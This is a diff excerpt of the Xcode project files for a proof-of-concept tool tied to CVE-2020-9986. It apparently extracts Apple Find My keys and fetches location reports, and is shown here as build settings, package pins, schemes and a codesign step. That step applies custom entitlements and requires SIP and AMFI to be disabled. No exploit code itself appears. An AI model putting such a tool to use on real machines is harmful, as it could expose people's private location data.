name = OFFetchReports;
|
||||
packageProductDependencies = (
|
||||
782AC6DA25F0E4C800554BF4 /* NIOSSL */,
|
||||
782AC6DD25F0E4D900554BF4 /* Crypto */,
|
||||
);
|
||||
productName = OFFetchReports;
|
||||
productReference = 782AC69E25F0DF3000554BF4 /* OFFetchReports.app */;
|
||||
productType = "com.apple.product-type.application";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
78097EBB248E27E700096FCA /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastSwiftUpdateCheck = 1250;
|
||||
LastUpgradeCheck = 1150;
|
||||
ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
|
||||
TargetAttributes = {
|
||||
78097EC2248E27E700096FCA = {
|
||||
CreatedOnToolsVersion = 11.5;
|
||||
};
|
||||
782AC69D25F0DF3000554BF4 = {
|
||||
CreatedOnToolsVersion = 12.5;
|
||||
};
|
||||
782AC6C425F0E2D200554BF4 = {
|
||||
CreatedOnToolsVersion = 12.5;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = 78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */;
|
||||
compatibilityVersion = "Xcode 9.3";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = 78097EBA248E27E700096FCA;
|
||||
packageReferences = (
|
||||
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */,
|
||||
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */,
|
||||
);
|
||||
productRefGroup = 78097EC4248E27E700096FCA /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
78097EC2248E27E700096FCA /* OFReadKeys */,
|
||||
782AC69D25F0DF3000554BF4 /* OFFetchReports */,
|
||||
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXResourcesBuildPhase section */
|
||||
78097EC1248E27E700096FCA /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78097ED1248E27E800096FCA /* Main.storyboard in Resources */,
|
||||
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */,
|
||||
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
782AC69C25F0DF3000554BF4 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */,
|
||||
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */,
|
||||
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */,
|
||||
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
782AC6C325F0E2A300554BF4 /* SwiftLint */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = SwiftLint;
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
|
||||
};
|
||||
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = "Codesign App with Entitlements";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identities =~ $pat ]]\n# Can be set to a codesign identity manually\nIDT=\"${BASH_REMATCH[1]}\"\nif [ -z ${IDT+x} ]; then\n echo \"error: Please set the codesigning identity above. \\nThe identity can be found with $ security find-identities -v -p codesigning\"\nelse\n codesign --entitlements ${SRCROOT}/OFFetchReports/OFFetchReports.entitlements -fs ${IDT} ${TARGET_BUILD_DIR}/OFFetchReports.app/Contents/MacOS/OFFetchReports\n echo \"warning: This app will only run on macOS systems with SIP & AMFI disabled. This should only be done on dedicated test systems\"\nfi\n";
|
||||
};
|
||||
78FFC97C25EE98680062F878 /* SwiftLint */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = SwiftLint;
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\nif which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
78097EBF248E27E700096FCA /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */,
|
||||
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */,
|
||||
78097EC9248E27E700096FCA /* ContentView.swift in Sources */,
|
||||
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */,
|
||||
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */,
|
||||
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
782AC69A25F0DF3000554BF4 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */,
|
||||
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */,
|
||||
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */,
|
||||
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */,
|
||||
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */,
|
||||
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */,
|
||||
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */,
|
||||
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */,
|
||||
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */,
|
||||
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */,
|
||||
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXTargetDependency section */
|
||||
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */ = {
|
||||
isa = PBXTargetDependency;
|
||||
target = 782AC69D25F0DF3000554BF4 /* OFFetchReports */;
|
||||
targetProxy = 782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */;
|
||||
};
|
||||
/* End PBXTargetDependency section */
|
||||
|
||||
/* Begin PBXVariantGroup section */
|
||||
78097ECF248E27E800096FCA /* Main.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
78097ED0248E27E800096FCA /* Base */,
|
||||
);
|
||||
name = Main.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC6A925F0DF3100554BF4 /* Main.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
782AC6AA25F0DF3100554BF4 /* Base */,
|
||||
);
|
||||
name = Main.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXVariantGroup section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
78097ED4248E27E800096FCA /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
ENABLE_TESTABILITY = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_DYNAMIC_NO_PIC = NO;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_OPTIMIZATION_LEVEL = 0;
|
||||
GCC_PREPROCESSOR_DEFINITIONS = (
|
||||
"DEBUG=1",
|
||||
"$(inherited)",
|
||||
);
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
|
||||
MTL_FAST_MATH = YES;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
SDKROOT = macosx;
|
||||
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
|
||||
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
78097ED5248E27E800096FCA /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
|
||||
ENABLE_NS_ASSERTIONS = NO;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
MTL_ENABLE_DEBUG_INFO = NO;
|
||||
MTL_FAST_MATH = YES;
|
||||
SDKROOT = macosx;
|
||||
SWIFT_COMPILATION_MODE = wholemodule;
|
||||
SWIFT_OPTIMIZATION_LEVEL = "-O";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
78097ED7248E27E800096FCA /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = YES;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OFReadKeys/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
78097ED8248E27E800096FCA /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = YES;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OFReadKeys/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
782AC6AE25F0DF3100554BF4 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OFFetchReports/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
782AC6AF25F0DF3100554BF4 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OFFetchReports/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.15;
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
782AC6C625F0E2D200554BF4 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
782AC6C725F0E2D200554BF4 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
78097ED4248E27E800096FCA /* Debug */,
|
||||
78097ED5248E27E800096FCA /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
78097ED7248E27E800096FCA /* Debug */,
|
||||
78097ED8248E27E800096FCA /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
782AC6AE25F0DF3100554BF4 /* Debug */,
|
||||
782AC6AF25F0DF3100554BF4 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
782AC6C625F0E2D200554BF4 /* Debug */,
|
||||
782AC6C725F0E2D200554BF4 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
|
||||
/* Begin XCRemoteSwiftPackageReference section */
|
||||
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/apple/swift-nio-ssl";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 2.10.4;
|
||||
};
|
||||
};
|
||||
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */ = {
|
||||
isa = XCRemoteSwiftPackageReference;
|
||||
repositoryURL = "https://github.com/apple/swift-crypto.git";
|
||||
requirement = {
|
||||
kind = upToNextMajorVersion;
|
||||
minimumVersion = 1.1.4;
|
||||
};
|
||||
};
|
||||
/* End XCRemoteSwiftPackageReference section */
|
||||
|
||||
/* Begin XCSwiftPackageProductDependency section */
|
||||
782AC6DA25F0E4C800554BF4 /* NIOSSL */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
|
||||
productName = NIOSSL;
|
||||
};
|
||||
782AC6DD25F0E4D900554BF4 /* Crypto */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */;
|
||||
productName = Crypto;
|
||||
};
|
||||
/* End XCSwiftPackageProductDependency section */
|
||||
};
|
||||
rootObject = 78097EBB248E27E700096FCA /* Project object */;
|
||||
}
|
||||
7
CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/contents.xcworkspacedata
generated
Normal file
7
CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/contents.xcworkspacedata
generated
Normal file
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Workspace
|
||||
version = "1.0">
|
||||
<FileRef
|
||||
location = "self:">
|
||||
</FileRef>
|
||||
</Workspace>
|
||||
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>IDEDidComputeMac32BitWarning</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"object": {
|
||||
"pins": [
|
||||
{
|
||||
"package": "swift-crypto",
|
||||
"repositoryURL": "https://github.com/apple/swift-crypto.git",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "296d3308b4b2fa355cfe0de4ca411bf7a1cd8cf8",
|
||||
"version": "1.1.4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"package": "swift-nio",
|
||||
"repositoryURL": "https://github.com/apple/swift-nio.git",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
|
||||
"version": "2.26.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"package": "swift-nio-ssl",
|
||||
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
|
||||
"state": {
|
||||
"branch": null,
|
||||
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
|
||||
"version": "2.10.4"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
"version": 1
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1240"
|
||||
LastUpgradeVersion = "1250"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
@@ -14,10 +14,10 @@
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
|
||||
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
|
||||
BuildableName = "OFFetchReports.app"
|
||||
BlueprintName = "OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
@@ -44,10 +44,10 @@
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
|
||||
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
|
||||
BuildableName = "OFFetchReports.app"
|
||||
BlueprintName = "OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
@@ -61,10 +61,10 @@
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
|
||||
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
|
||||
BuildableName = "OFFetchReports.app"
|
||||
BlueprintName = "OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
@@ -0,0 +1,78 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1240"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78097EC2248E27E700096FCA"
|
||||
BuildableName = "OFReadKeys.app"
|
||||
BlueprintName = "OFReadKeys"
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
